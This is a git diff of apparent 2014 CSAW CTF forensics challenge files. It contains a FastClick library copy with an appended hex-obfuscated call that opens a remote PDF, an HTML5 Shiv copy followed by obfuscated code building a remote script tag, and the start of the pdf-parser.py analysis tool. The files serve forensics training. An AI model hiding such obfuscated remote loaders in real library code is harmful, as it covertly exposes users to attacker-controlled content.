this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node"); + this.onClick = function() { + return aiho.prototype.onClick.apply(c, arguments) + }, this.onMouse = function() { + return aiho.prototype.onMouse.apply(c, arguments) + }, this.onTouchStart = function() { + return aiho.prototype.onTouchStart.apply(c, arguments) + }, this.onTouchMove = function() { + return aiho.prototype.onTouchMove.apply(c, arguments) + }, this.onTouchEnd = function() { + return aiho.prototype.onTouchEnd.apply(c, arguments) + }, this.onTouchCancel = function() { + return aiho.prototype.onTouchCancel.apply(c, arguments) + }, aiho.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) { + var e = Node.prototype.removeEventListener; + "click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d) + }, a.addEventListener = function(b, c, d) { + var e = Node.prototype.addEventListener; + "click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) { + a.propagationStopped || c(a) + }), d) : e.call(a, b, c, d) + }), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) { + b(a) + }, !1), a.onclick = null)) +} +aiho.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, aiho.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), aiho.prototype.deviceIsIOS4 = aiho.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), aiho.prototype.deviceIsIOSWithBadTarget = aiho.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), aiho.prototype.needsClick = function(a) { + "use strict"; + switch (a.nodeName.toLowerCase()) { + case "button": + case "select": + case "textarea": + if (a.disabled) return !0; + break; + case "input": + if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0; + break; + case "label": + case "video": + return !0 + } + return /\bneedsclick\b/.test(a.className) +}, aiho.prototype.needsFocus = function(a) { + "use strict"; + switch (a.nodeName.toLowerCase()) { + case "textarea": + return !0; + case "select": + return !this.deviceIsAndroid; + case "input": + switch (a.type) { + case "button": + case "checkbox": + case "file": + case "image": + case "radio": + case "submit": + return !1 + } + return !a.disabled && !a.readOnly; + default: + return /\bneedsfocus\b/.test(a.className) + } +}, aiho.prototype.sendClick = function(a, b) { + "use strict"; + var c, d; + document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c) +}, aiho.prototype.determineEventType = function(a) { + "use strict"; + return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click" +}, aiho.prototype.focus = function(a) { + "use strict"; + var b; + this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus() +}, aiho.prototype.updateScrollParent = function(a) { + "use strict"; + var b, c; + if (b = a.fastClickScrollParent, !b || !b.contains(a)) { + c = a; + do { + if (c.scrollHeight > c.offsetHeight) { + b = c, a.fastClickScrollParent = c; + break + } + c = c.parentElement + } while (c) + } + b && (b.fastClickLastScrollTop = b.scrollTop) +}, aiho.prototype.getTargetElementFromEventTarget = function(a) { + "use strict"; + return a.nodeType === Node.TEXT_NODE ? a.parentNode : a +}, aiho.prototype.onTouchStart = function(a) { + "use strict"; + var b, c, d; + if (a.targetTouches.length > 1) return !0; + if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) { + if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0; + if (!this.deviceIsIOS4) { + if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1; + this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b) + } + } + return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0 +}, aiho.prototype.touchHasMoved = function(a) { + "use strict"; + var b = a.changedTouches[0], + c = this.touchBoundary; + return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1 +}, aiho.prototype.onTouchMove = function(a) { + "use strict"; + return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0 +}, aiho.prototype.findControl = function(a) { + "use strict"; + return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea") +}, aiho.prototype.onTouchEnd = function(a) { + "use strict"; + var b, c, d, e, f, g = this.targetElement; + if (!this.trackingClick) return !0; + if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0; + if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) { + if (b = this.findControl(g)) { + if (this.focus(g), this.deviceIsAndroid) return !1; + g = b + } + } else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1); + return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1) +}, aiho.prototype.onTouchCancel = function() { + "use strict"; + this.trackingClick = !1, this.targetElement = null +}, aiho.prototype.onMouse = function(a) { + "use strict"; + return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0 +}, aiho.prototype.onClick = function(a) { + "use strict"; + var b; + return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b) +}, aiho.prototype.destroy = function() { + "use strict"; + var a = this.layer; + this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1) +}, aiho.notNeeded = function(a) { + "use strict"; + var b, c; + if ("undefined" == typeof window.ontouchstart) return !0; + if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) { + if (!aiho.prototype.deviceIsAndroid) return !0; + if (b = document.querySelector("meta[name=viewport]")) { + if (-1 !== b.content.indexOf("user-scalable=no")) return !0; + if (c > 31 && window.innerWidth <= window.screen.width) return !0 + } + } + return "none" === a.style.msTouchAction ? !0 : !1 +}, aiho.attach = function(a) { + "use strict"; + return new aiho(a) +}, "undefined" != typeof define && define.amd ? define(function() { + "use stric"t; + return aiho +}) : "undefined" != typeof module && module.exports ? (module.exports = aiho.attach, module.exports.aiho = aiho) : window.aiho = aiho; +var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"]; +window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]); + +function wq1(a) { + "use strict"; + var b, c = this; + if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node"); + this.onClick = function() { + return wq1.prototype.onClick.apply(c, arguments) + }, this.onMouse = function() { + return wq1.prototype.onMouse.apply(c, arguments) + }, this.onTouchStart = function() { + return wq1.prototype.onTouchStart.apply(c, arguments) + }, this.onTouchMove = function() { + return wq1.prototype.onTouchMove.apply(c, arguments) + }, this.onTouchEnd = function() { + return wq1.prototype.onTouchEnd.apply(c, arguments) + }, this.onTouchCancel = function() { + return wq1.prototype.onTouchCancel.apply(c, arguments) + }, wq1.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) { + var e = Node.prototype.removeEventListener; + "click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d) + }, a.addEventListener = function(b, c, d) { + var e = Node.prototype.addEventListener; + "click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) { + a.propagationStopped || c(a) + }), d) : e.call(a, b, c, d) + }), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) { + b(a) + }, !1), a.onclick = null)) +} +wq1.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, wq1.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), wq1.prototype.deviceIsIOS4 = wq1.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), wq1.prototype.deviceIsIOSWithBadTarget = wq1.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), wq1.prototype.needsClick = function(a) { + "use strict"; + switch (a.nodeName.toLowerCase()) { + case "button": + case "select": + case "textarea": + if (a.disabled) return !0; + break; + case "input": + if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0; + break; + case "label": + case "video": + return !0 + } + return /\bneedsclick\b/.test(a.className) +}, wq1.prototype.needsFocus = function(a) { + "use strict"; + switch (a.nodeName.toLowerCase()) { + case "textarea": + return !0; + case "select": + return !this.deviceIsAndroid; + case "input": + switch (a.type) { + case "button": + case "checkbox": + case "file": + case "image": + case "radio": + case "submit": + return !1 + } + return !a.disabled && !a.readOnly; + default: + return /\bneedsfocus\b/.test(a.className) + } +}, wq1.prototype.sendClick = function(a, b) { + "use strict"; + var c, d; + document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c) +}, wq1.prototype.determineEventType = function(a) { + "use strict"; + return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click" +}, wq1.prototype.focus = function(a) { + "use strict"; + var b; + this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus() +}, wq1.prototype.updateScrollParent = function(a) { + "use strict"; + var b, c; + if (b = a.fastClickScrollParent, !b || !b.contains(a)) { + c = a; + do { + if (c.scrollHeight > c.offsetHeight) { + b = c, a.fastClickScrollParent = c; + break + } + c = c.parentElement + } while (c) + } + b && (b.fastClickLastScrollTop = b.scrollTop) +}, wq1.prototype.getTargetElementFromEventTarget = function(a) { + "use strict"; + return a.nodeType === Node.TEXT_NODE ? a.parentNode : a +}, wq1.prototype.onTouchStart = function(a) { + "use strict"; + var b, c, d; + if (a.targetTouches.length > 1) return !0; + if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) { + if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0; + if (!this.deviceIsIOS4) { + if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1; + this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b) + } + } + return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0 +}, wq1.prototype.touchHasMoved = function(a) { + "use strict"; + var b = a.changedTouches[0], + c = this.touchBoundary; + return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1 +}, wq1.prototype.onTouchMove = function(a) { + "use strict"; + return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0 +}, wq1.prototype.findControl = function(a) { + "use strict"; + return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea") +}, wq1.prototype.onTouchEnd = function(a) { + "use strict"; + var b, c, d, e, f, g = this.targetElement; + if (!this.trackingClick) return !0; + if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0; + if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) { + if (b = this.findControl(g)) { + if (this.focus(g), this.deviceIsAndroid) return !1; + g = b + } + } else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1); + return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1) +}, wq1.prototype.onTouchCancel = function() { + "use strict"; + this.trackingClick = !1, this.targetElement = null +}, wq1.prototype.onMouse = function(a) { + "use strict"; + return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0 +}, wq1.prototype.onClick = function(a) { + "use strict"; + var b; + return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b) +}, wq1.prototype.destroy = function() { + "use strict"; + var a = this.layer; + this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1) +}, wq1.notNeeded = function(a) { + "use strict"; + var b, c; + if ("undefined" == typeof window.ontouchstart) return !0; + if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) { + if (!wq1.prototype.deviceIsAndroid) return !0; + if (b = document.querySelector("meta[name=viewport]")) { + if (-1 !== b.content.indexOf("user-scalable=no")) return !0; + if (c > 31 && window.innerWidth <= window.screen.width) return !0 + } + } + return "none" === a.style.msTouchAction ? !0 : !1 +}, wq1.attach = function(a) { + "use strict"; + return new wq1(a) +}, "undefined" != typeof define && define.amd ? define(function() { + "use strict"; + return wq1 +}) : "undefined" != typeof module && module.exports ? (module.exports = wq1.attach, module.exports.wq1 = wq1) : window.wq1 = wq1; diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/announcemen.pdf b/CTFs/2014-CSAW-CTF/forensics/fluffy/announcemen.pdf new file mode 100644 index 0000000..2c43add Binary files /dev/null and b/CTFs/2014-CSAW-CTF/forensics/fluffy/announcemen.pdf differ diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/html5.js b/CTFs/2014-CSAW-CTF/forensics/fluffy/html5.js new file mode 100644 index 0000000..dbd7b27 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/fluffy/html5.js @@ -0,0 +1,122 @@ +/* + HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed +*/ +(function(l, f) { + function m() { + var a = e.elements; + return "string" == typeof a ? a.split(" ") : a + } + + function i(a) { + var b = n[a[o]]; + b || (b = {}, h++, a[o] = h, n[h] = b); + return b + } + + function p(a, b, c) { + b || (b = f); + if (g) return b.createElement(a); + c || (c = i(b)); + b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a); + return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b + } + + function t(a, b) { + if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag(); + a.createElement = function(c) { + return !e.shivMethods ? b.createElem(c) : p(c, a, b) + }; + a.createDocumentFragment = Function("h,f", "return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" + m().join().replace(/[\w\-]+/g, function(a) { + b.createElem(a); + b.frag.createElement(a); + return 'c("' + a + '")' + }) + ");return n}")(e, b.frag) + } + + function q(a) { + a || (a = f); + var b = i(a); + if (e.shivCSS && !j && !b.hasCSS) { + var c, d = a; + c = d.createElement("p"); + d = d.getElementsByTagName("head")[0] || d.documentElement; + c.innerHTML = "x"; + c = d.insertBefore(c.lastChild, d.firstChild); + b.hasCSS = !!c + } + g || t(a, b); + return a + } + var k = l.html5 || {}, + s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i, + r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i, + j, o = "_html5shiv", + h = 0, + n = {}, + g; + (function() { + try { + var a = f.createElement("a"); + a.innerHTML = ""; + j = "hidden" in a; + var b; + if (!(b = 1 == a.childNodes.length)) { + f.createElement("a"); + var c = f.createDocumentFragment(); + b = "undefined" == typeof c.cloneNode || + "undefined" == typeof c.createDocumentFragment || "undefined" == typeof c.createElement + } + g = b + } catch (d) { + g = j = !0 + } + })(); + var e = { + elements: k.elements || "abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video", + version: "3.7.0", + shivCSS: !1 !== k.shivCSS, + supportsUnknownElements: g, + shivMethods: !1 !== k.shivMethods, + type: "default", + shivDocument: q, + createElement: p, + createDocumentFragment: function(a, b) { + a || (a = f); + if (g) return a.createDocumentFragment(); + for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]); + return c + } + }; + l.html5 = e; + q(f) +})(this, console); +var g = "ti"; +var c = "HTML Tags"; +var f = ". li colgroup br src datalist script option ."; +f = f.split(" "); +c = ""; +k = "/"; +m = f[6]; +for (var i = 0; i < f.length; i++) { + c += f[i].length.toString(); +} +v = f[0]; +x = "\'ht"; +b = f[4]; +f = 2541 * 6 - 35 + 46 + 12 - 15269; +c += f.toString(); +f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1; +c += f.toString(); +f = ""; +c = c.split(""); +var w = 0; +u = "s"; +for (var i = 0; i < c.length; i++) { + if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) { + f += String.fromCharCode(46); + w++; + } + f += c[i]; +} +i = k + "anal"; +console.log("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\"); diff --git a/CTFs/2014-CSAW-CTF/forensics/fluffy/pdf-parser.py b/CTFs/2014-CSAW-CTF/forensics/fluffy/pdf-parser.py new file mode 100755 index 0000000..1a86cc4 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/fluffy/pdf-parser.py @@ -0,0 +1,1031 @@ +#!/usr/bin/python + +__description__ = 'pdf-parser, use it to parse a PDF document' +__author__ = 'Didier Stevens' +__version__ = '0.4.3' +__date__ = '2013/09/18' +__minimum_python_version__ = (2, 5, 1) +__maximum_python_version__ = (3, 3, 0) + +""" +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2008/05/02: continue + 2008/05/03: continue + 2008/06/02: streams + 2008/10/19: refactor, grep & extract functionality + 2008/10/20: reference + 2008/10/21: cleanup + 2008/11/12: V0.3 dictionary parser + 2008/11/13: option elements + 2008/11/14: continue + 2009/05/05: added /ASCIIHexDecode support (thanks Justin Prosco) + 2009/05/11: V0.3.1 updated usage, added --verbose and --extract + 2009/07/16: V0.3.2 Added Canonicalize (thanks Justin Prosco) + 2009/07/18: bugfix EqualCanonical + 2009/07/24: V0.3.3 Added --hash option + 2009/07/25: EqualCanonical for option --type, added option --nocanonicalizedoutput + 2009/07/28: V0.3.4 Added ASCII85Decode support + 2009/08/01: V0.3.5 Updated ASCIIHexDecode to support whitespace obfuscation + 2009/08/30: V0.3.6 TestPythonVersion + 2010/01/08: V0.3.7 Added RLE and LZW support (thanks pARODY); added dump option + 2010/01/09: Fixed parsing of incomplete startxref + 2010/09/22: V0.3.8 Changed dump option, updated PrettyPrint, added debug option + 2011/12/17: fixed bugs empty objects + 2012/03/11: V0.3.9 fixed bugs double nested [] in PrettyPrintSub (thanks kurt) + 2013/01/11: V0.3.10 Extract and dump bug fixes by Priit; added content option + 2013/02/16: Performance improvement in cPDFTokenizer by using StringIO for token building by Christophe Vandeplas; xrange replaced with range + 2013/02/16: V0.4.0 added http/https support; added error handling for missing file or URL; ; added support for ZIP file with password 'infected' + 2013/03/13: V0.4.1 fixes for Python 3 + 2013/04/11: V0.4.2 modified PrettyPrintSub for strings with unprintable characters + 2013/05/04: Added options searchstream, unfiltered, casesensitive, regex + 2013/09/18: V0.4.3 fixed regression bug -w option + +Todo: + - handle printf todo + - fix PrettyPrint + - support for JS hex string EC61C64349DB8D88AF0523C4C06E0F4D.pdf.vir + +""" + +import re +import optparse +import zlib +import binascii +import hashlib +import sys +import zipfile +if sys.version_info[0] >= 3: + from io import StringIO + import urllib.request + urllib23 = urllib.request +else: + from cStringIO import StringIO + import urllib2 + urllib23 = urllib2 + +CHAR_WHITESPACE = 1 +CHAR_DELIMITER = 2 +CHAR_REGULAR = 3 + +CONTEXT_NONE = 1 +CONTEXT_OBJ = 2 +CONTEXT_XREF = 3 +CONTEXT_TRAILER = 4 + +PDF_ELEMENT_COMMENT = 1 +PDF_ELEMENT_INDIRECT_OBJECT = 2 +PDF_ELEMENT_XREF = 3 +PDF_ELEMENT_TRAILER = 4 +PDF_ELEMENT_STARTXREF = 5 +PDF_ELEMENT_MALFORMED = 6 + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +def CopyWithoutWhiteSpace(content): + result = [] + for token in content: + if token[0] != CHAR_WHITESPACE: + result.append(token) + return result + +def Obj2Str(content): + return ''.join(map(lambda x: repr(x[1])[1:-1], CopyWithoutWhiteSpace(content))) + +class cPDFDocument: + def __init__(self, file): + self.file = file + if file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + self.position = -1 + + def byte(self): + if len(self.ungetted) != 0: + self.position += 1 + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + self.position += 1 + return ord(inbyte) + + def unget(self, byte): + self.position -= 1 + self.ungetted.append(byte) + +def CharacterClass(byte): + if byte == 0 or byte == 9 or byte == 10 or byte == 12 or byte == 13 or byte == 32: + return CHAR_WHITESPACE + if byte == 0x28 or byte == 0x29 or byte == 0x3C or byte == 0x3E or byte == 0x5B or byte == 0x5D or byte == 0x7B or byte == 0x7D or byte == 0x2F or byte == 0x25: + return CHAR_DELIMITER + return CHAR_REGULAR + +def IsNumeric(str): + return re.match('^[0-9]+', str) + +class cPDFTokenizer: + def __init__(self, file): + self.oPDF = cPDFDocument(file) + self.ungetted = [] + + def Token(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + if self.oPDF == None: + return None + self.byte = self.oPDF.byte() + if self.byte == None: + self.oPDF = None + return None + elif CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_WHITESPACE, self.token) + elif CharacterClass(self.byte) == CHAR_REGULAR: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_REGULAR: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_REGULAR, self.token) + else: + if self.byte == 0x3C: + self.byte = self.oPDF.byte() + if self.byte == 0x3C: + return (CHAR_DELIMITER, '<<') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '<') + elif self.byte == 0x3E: + self.byte = self.oPDF.byte() + if self.byte == 0x3E: + return (CHAR_DELIMITER, '>>') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '>') + elif self.byte == 0x25: + file_str = StringIO() + while self.byte != None: + file_str.write(chr(self.byte)) + if self.byte == 10 or self.byte == 13: + self.byte = self.oPDF.byte() + break + self.byte = self.oPDF.byte() + if self.byte != None: + if self.byte == 10: + file_str.write(chr(self.byte)) + else: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_DELIMITER, self.token) + return (CHAR_DELIMITER, chr(self.byte)) + + def TokenIgnoreWhiteSpace(self): + token = self.Token() + while token != None and token[0] == CHAR_WHITESPACE: + token = self.Token() + return token + + def unget(self, byte): + self.ungetted.append(byte) + +class cPDFParser: + def __init__(self, file, verbose=False, extract=None): + self.context = CONTEXT_NONE + self.content = [] + self.oPDFTokenizer = cPDFTokenizer(file) + self.verbose = verbose + self.extract = extract + + def GetObject(self): + while True: + if self.context == CONTEXT_OBJ: + self.token = self.oPDFTokenizer.Token() + else: + self.token = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token: + if self.token[0] == CHAR_DELIMITER: + if self.token[1][0] == '%': + if self.context == CONTEXT_OBJ: + self.content.append(self.token) + else: + return cPDFElementComment(self.token[1]) + elif self.token[1] == '/': + self.token2 = self.oPDFTokenizer.Token() + if self.token2[0] == CHAR_REGULAR: + if self.context != CONTEXT_NONE: + self.content.append((CHAR_DELIMITER, self.token[1] + self.token2[1])) + elif self.verbose: + print('todo 1: %s' % (self.token[1] + self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 2: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 3: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[0] == CHAR_WHITESPACE: + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 4: %d %s' % (self.token[0], repr(self.token[1]))) + else: + if self.context == CONTEXT_OBJ: + if self.token[1] == 'endobj': + self.oPDFElementIndirectObject = cPDFElementIndirectObject(self.objectId, self.objectVersion, self.content) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementIndirectObject + else: + self.content.append(self.token) + elif self.context == CONTEXT_TRAILER: + if self.token[1] == 'startxref' or self.token[1] == 'xref': + self.oPDFElementTrailer = cPDFElementTrailer(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = 